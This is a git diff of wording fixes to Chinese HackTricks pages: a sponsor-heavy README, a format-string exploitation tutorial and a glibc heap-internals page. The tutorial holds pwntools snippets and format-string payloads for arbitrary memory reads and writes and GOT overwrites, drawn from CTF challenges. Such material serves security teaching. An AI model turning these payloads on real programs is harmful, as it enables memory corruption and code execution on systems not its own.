Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 107 KiB |
29
README.md
|
@ -5,7 +5,7 @@
|
||||||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
|
**欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/方法。**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
|
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
|
||||||
|
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热闹聚会点。
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -57,7 +57,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
\
|
\
|
||||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
|
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
|
||||||
|
|
||||||
今天就获取访问权限:
|
今天获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -65,21 +65,21 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
|
|
||||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||||
|
|
||||||
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
|
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
|
||||||
* **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界
|
* **实时黑客新闻**:通过实时新闻和见解,跟上快速变化的黑客世界
|
||||||
* **最新公告**:了解最新的漏洞赏金发布和重要平台更新
|
* **最新公告**:了解即将推出的最新漏洞赏金和重要平台更新
|
||||||
|
|
||||||
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作吧!
|
**加入我们,访问** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 必备的渗透测试工具包
|
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 必备的渗透测试工具包
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**从黑客的角度看待你的网络应用、网络和云**
|
**从黑客的角度看待你的网络应用、网络和云**
|
||||||
|
|
||||||
|
@ -87,9 +87,6 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% endembed %}
|
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [SerpApi](https://serpapi.com/)
|
### [SerpApi](https://serpapi.com/)
|
||||||
|
@ -99,10 +96,10 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
**SerpApi** 提供快速且简单的实时API,以**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为你解析所有丰富的结构化数据。
|
**SerpApi** 提供快速且简单的实时API,以**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为你解析所有丰富的结构化数据。
|
||||||
|
|
||||||
订阅SerpApi的计划之一包括访问50多个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\
|
订阅SerpApi的计划之一包括访问50多个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\
|
||||||
与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内嵌图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
|
与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
|
||||||
|
|
||||||
当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\
|
当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\
|
||||||
有关更多信息,请查看他们的[**博客**](https://serpapi.com/blog/)**,**或在他们的[**游乐场**](https://serpapi.com/playground)**中尝试示例。**\
|
有关更多信息,请查看他们的[**博客**](https://serpapi.com/blog/)**,**或在他们的[**游乐场**](https://serpapi.com/playground)**中尝试一个示例。**\
|
||||||
你可以在[**这里**](https://serpapi.com/users/sign\_up)**创建一个免费账户。**
|
你可以在[**这里**](https://serpapi.com/users/sign\_up)**创建一个免费账户。**
|
||||||
|
|
||||||
***
|
***
|
||||||
|
@ -113,9 +110,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。
|
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。
|
||||||
|
|
||||||
WebSec是一家**一体化安全公司**,这意味着他们可以做所有事情;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。
|
WebSec是一家**一体化安全公司**,这意味着他们提供所有服务;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
|
||||||
|
|
||||||
WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,甚至**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
除了上述内容,WebSec还是**HackTricks的坚定支持者**。
|
除了上述内容,WebSec还是**HackTricks的坚定支持者**。
|
||||||
|
|
||||||
|
@ -142,7 +139,7 @@ WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在Twitter上关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,19 +15,19 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式化符的原始文本**。后续的 **参数** 是 **替代** 原始文本中的 **格式化符** 的 **值**。
|
在 C 语言中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式化符的原始文本**。后续的 **参数** 是 **替代** 原始文本中的 **格式化符** 的 **值**。
|
||||||
|
|
||||||
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
||||||
|
|
||||||
当 **攻击者的文本作为该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 的 **任何数据**。这样就能够 **执行任意代码**。
|
当 **攻击者的文本被用作该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 的任何数据。这样就能够 **执行任意代码**。
|
||||||
|
|
||||||
#### 格式化符:
|
#### 格式化符:
|
||||||
```bash
|
```bash
|
||||||
|
@ -42,7 +42,7 @@
|
||||||
```
|
```
|
||||||
**示例:**
|
**示例:**
|
||||||
|
|
||||||
* 漏洞示例:
|
* 易受攻击的示例:
|
||||||
```c
|
```c
|
||||||
char buffer[30];
|
char buffer[30];
|
||||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||||
|
@ -87,12 +87,12 @@ printf("%4$x")
|
||||||
注意,攻击者控制了 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
|
注意,攻击者控制了 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。在下一节中将解释如何利用这种行为。
|
控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **任意读取**
|
## **任意读取**
|
||||||
|
|
||||||
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其作为字符串打印**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第 4 个位置开始,则可以使用以下方式打印二进制文件的开头:
|
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其作为字符串打印**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第四个位置开始,则可以使用以下方式打印二进制文件的开头:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -106,12 +106,12 @@ p.sendline(payload)
|
||||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。
|
注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 查找偏移量
|
### 查找偏移量
|
||||||
|
|
||||||
要找到输入的偏移量,您可以发送 4 或 8 个字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A`。
|
要找到输入的偏移量,您可以发送 4 或 8 个字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A's`。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -151,18 +151,18 @@ p.close()
|
||||||
任意读取可以用于:
|
任意读取可以用于:
|
||||||
|
|
||||||
* **从内存中转储** **二进制文件**
|
* **从内存中转储** **二进制文件**
|
||||||
* **访问存储敏感信息的内存特定部分**(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
|
* **访问存储敏感** **信息**的内存特定部分(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
|
||||||
|
|
||||||
## **任意写入**
|
## **任意写入**
|
||||||
|
|
||||||
格式化器 **`%<num>$n`** **在** \<num> 参数指定的地址 **写入** **已写入字节的数量**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
格式化器 **`%<num>$n`** **在** **指定地址**中写入**已写入字节的数量**,该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
||||||
|
|
||||||
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",因此可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 中写入数字 **`<num-write>`**。
|
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",因此可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址**中写入数字 **`<num-write>`**。
|
||||||
```bash
|
```bash
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次写入地址的高 2B,另一次写入低 2B。
|
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次用于地址的最高 2B,另一次用于最低的 2B。
|
||||||
|
|
||||||
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
||||||
|
|
||||||
|
@ -235,9 +235,9 @@ p.interactive()
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||||
* 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win)
|
* 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||||
* 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`,指向`strlen`。当流程返回到main时,`strlen`与用户输入一起执行并指向`system`,将执行传递的命令。
|
* 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入指向`strlen`的GOT表中的`system`。当流程返回到main时,`strlen`与用户输入一起执行并指向`system`,将执行传递的命令。
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
|
|
@ -4,13 +4,13 @@
|
||||||
|
|
||||||
堆基本上是程序在请求数据时存储数据的地方,调用像 **`malloc`**、`calloc`... 这样的函数。此外,当这些内存不再需要时,可以通过调用 **`free`** 函数将其释放。
|
堆基本上是程序在请求数据时存储数据的地方,调用像 **`malloc`**、`calloc`... 这样的函数。此外,当这些内存不再需要时,可以通过调用 **`free`** 函数将其释放。
|
||||||
|
|
||||||
如图所示,它位于二进制文件加载到内存后的地方(查看 `[heap]` 部分):
|
如图所示,它位于二进制文件加载到内存后的位置(查看 `[heap]` 部分):
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Basic Chunk Allocation
|
### Basic Chunk Allocation
|
||||||
|
|
||||||
当请求在堆中存储某些数据时,会为其分配堆的一部分空间。该空间将属于一个 bin,只有请求的数据 + bin 头的空间 + 最小 bin 大小偏移量将被保留给该块。目标是尽可能少地保留内存,而不使查找每个块的位置变得复杂。为此,使用元数据块信息来知道每个已用/空闲块的位置。
|
当请求在堆中存储某些数据时,会为其分配堆的一部分空间。该空间将属于一个 bin,只有请求的数据 + bin 头的空间 + 最小 bin 大小偏移量将为该块保留。目标是尽可能少地保留内存,而不使查找每个块的位置变得复杂。为此,使用元数据块信息来知道每个已用/空闲块的位置。
|
||||||
|
|
||||||
根据使用的 bin,有不同的方法来保留空间,但一般的方法如下:
|
根据使用的 bin,有不同的方法来保留空间,但一般的方法如下:
|
||||||
|
|
||||||
|
@ -21,15 +21,15 @@
|
||||||
* 如果没有足够的堆空间来分配新块,堆管理器会请求内核扩展分配给堆的内存,然后使用这块内存生成新块。
|
* 如果没有足够的堆空间来分配新块,堆管理器会请求内核扩展分配给堆的内存,然后使用这块内存生成新块。
|
||||||
* 如果一切都失败,`malloc` 返回 null。
|
* 如果一切都失败,`malloc` 返回 null。
|
||||||
|
|
||||||
请注意,如果请求的 **内存超过阈值**,将使用 **`mmap`** 来映射请求的内存。
|
请注意,如果请求的 **内存超过阈值**,**`mmap`** 将用于映射请求的内存。
|
||||||
|
|
||||||
## Arenas
|
## Arenas
|
||||||
|
|
||||||
在 **多线程** 应用程序中,堆管理器必须防止可能导致崩溃的 **竞争条件**。最初,这是通过使用 **全局互斥锁** 来确保一次只有一个线程可以访问堆,但这导致了由于互斥锁引起的瓶颈而产生的 **性能问题**。
|
在 **多线程** 应用程序中,堆管理器必须防止可能导致崩溃的 **竞争条件**。最初,这是通过使用 **全局互斥锁** 来确保一次只有一个线程可以访问堆,但这导致了由于互斥锁引起的瓶颈而产生的 **性能问题**。
|
||||||
|
|
||||||
为了解决这个问题,ptmalloc2 堆分配器引入了“区域”,每个 **区域** 作为一个 **独立的堆**,具有 **自己的** 数据 **结构** 和 **互斥锁**,允许多个线程在不相互干扰的情况下执行堆操作,只要它们使用不同的区域。
|
为了解决这个问题,ptmalloc2 堆分配器引入了“区域”,每个区域作为一个 **独立的堆**,具有 **自己的** 数据 **结构** 和 **互斥锁**,允许多个线程在不相互干扰的情况下执行堆操作,只要它们使用不同的区域。
|
||||||
|
|
||||||
默认的“主”区域处理单线程应用程序的堆操作。当 **新线程** 被添加时,堆管理器为它们分配 **次要区域** 以减少竞争。它首先尝试将每个新线程附加到未使用的区域,如果需要则创建新的区域,最多达到 32 位系统 CPU 核心数量的 2 倍和 64 位系统的 8 倍。一旦达到限制,**线程必须共享区域**,这可能导致竞争。
|
默认的“主”区域处理单线程应用程序的堆操作。当 **新线程** 被添加时,堆管理器为它们分配 **次要区域** 以减少竞争。它首先尝试将每个新线程附加到未使用的区域,如果需要则创建新的区域,最多达到 32 位系统 CPU 核心数量的 2 倍和 64 位系统的 8 倍。一旦达到限制,**线程必须共享区域**,这可能导致潜在的竞争。
|
||||||
|
|
||||||
与使用 `brk` 系统调用扩展的主区域不同,次要区域使用 `mmap` 和 `mprotect` 创建“子堆”,以模拟堆行为,从而在管理多线程操作的内存时提供灵活性。
|
与使用 `brk` 系统调用扩展的主区域不同,次要区域使用 `mmap` 和 `mprotect` 创建“子堆”,以模拟堆行为,从而在管理多线程操作的内存时提供灵活性。
|
||||||
|
|
||||||
|
@ -39,13 +39,13 @@
|
||||||
|
|
||||||
1. **初始堆与子堆**:
|
1. **初始堆与子堆**:
|
||||||
* 初始堆位于程序的二进制文件后面,并通过 `sbrk` 系统调用扩展。
|
* 初始堆位于程序的二进制文件后面,并通过 `sbrk` 系统调用扩展。
|
||||||
* 次要区域使用的子堆是通过 `mmap` 创建的,`mmap` 是一个映射指定内存区域的系统调用。
|
* 次要区域使用的子堆是通过 `mmap` 创建的,这是一个映射指定内存区域的系统调用。
|
||||||
2. **使用 `mmap` 进行内存保留**:
|
2. **使用 `mmap` 进行内存保留**:
|
||||||
* 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个其他系统进程或分配不应使用的区域。
|
* 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个其他系统进程或分配不应使用的区域。
|
||||||
* 默认情况下,子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。
|
* 默认情况下,子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。
|
||||||
3. **使用 `mprotect` 逐步扩展**:
|
3. **使用 `mprotect` 逐步扩展**:
|
||||||
* 保留的内存区域最初标记为 `PROT_NONE`,表示内核尚不需要为此空间分配物理内存。
|
* 保留的内存区域最初标记为 `PROT_NONE`,表示内核尚不需要为此空间分配物理内存。
|
||||||
* 为了“增长”子堆,堆管理器使用 `mprotect` 将页面权限从 `PROT_NONE` 更改为 `PROT_READ | PROT_WRITE`,促使内核为先前保留的地址分配物理内存。这种逐步的方法允许子堆根据需要扩展。
|
* 为了“增长”子堆,堆管理器使用 `mprotect` 将页面权限从 `PROT_NONE` 更改为 `PROT_READ | PROT_WRITE`,提示内核为先前保留的地址分配物理内存。这种逐步的方法允许子堆根据需要扩展。
|
||||||
* 一旦整个子堆耗尽,堆管理器将创建一个新的子堆以继续分配。
|
* 一旦整个子堆耗尽,堆管理器将创建一个新的子堆以继续分配。
|
||||||
|
|
||||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||||
|
@ -71,12 +71,12 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||||
### malloc\_state
|
### malloc\_state
|
||||||
|
|
||||||
**每个堆**(主区域或其他线程区域)都有一个**`malloc_state`结构。**\
|
**每个堆**(主区域或其他线程区域)都有一个**`malloc_state`结构。**\
|
||||||
需要注意的是,**主区域的`malloc_state`**结构是**libc中的全局变量**(因此位于libc内存空间中)。\
|
需要注意的是,**主区域 `malloc_state`** 结构是 **libc中的全局变量**(因此位于libc内存空间中)。\
|
||||||
在**线程的堆的`malloc_state`**结构中,它们位于**各自线程的“堆”内部**。
|
在**线程的堆的 `malloc_state`** 结构中,它们位于**各自线程的“堆”内部**。
|
||||||
|
|
||||||
从这个结构中有一些有趣的事情需要注意(见下面的C代码):
|
从这个结构中有一些有趣的事情需要注意(见下面的C代码):
|
||||||
|
|
||||||
* `__libc_lock_define (, mutex);` 是为了确保这个堆的结构一次只能被一个线程访问
|
* `__libc_lock_define (, mutex);` 是为了确保这个堆中的结构一次只被一个线程访问
|
||||||
* 标志:
|
* 标志:
|
||||||
* ```c
|
* ```c
|
||||||
#define NONCONTIGUOUS_BIT (2U)
|
#define NONCONTIGUOUS_BIT (2U)
|
||||||
|
@ -87,10 +87,10 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||||
```
|
```
|
||||||
* `mchunkptr bins[NBINS * 2 - 2];` 包含指向**小型、大型和未排序的** **bins**的**第一个和最后一个块**的**指针**(-2是因为索引0未使用)
|
* `mchunkptr bins[NBINS * 2 - 2];` 包含指向**小型、大型和未排序的** **bins**的**第一个和最后一个块**的**指针**(-2是因为索引0未使用)
|
||||||
* 因此,这些bins的**第一个块**将有一个**指向此结构的反向指针**,而这些bins的**最后一个块**将有一个**指向此结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。
|
* 因此,这些bins的**第一个块**将有一个**指向该结构的反向指针**,而这些bins的**最后一个块**将有一个**指向该结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。
|
||||||
* 结构`struct malloc_state *next;`和`struct malloc_state *next_free;`是区域的链表
|
* 结构 `struct malloc_state *next;` 和 `struct malloc_state *next_free;` 是区域的链表
|
||||||
* `top`块是最后一个“块”,基本上是**所有堆剩余空间**。一旦顶块“空”,堆就完全使用,需要请求更多空间。
|
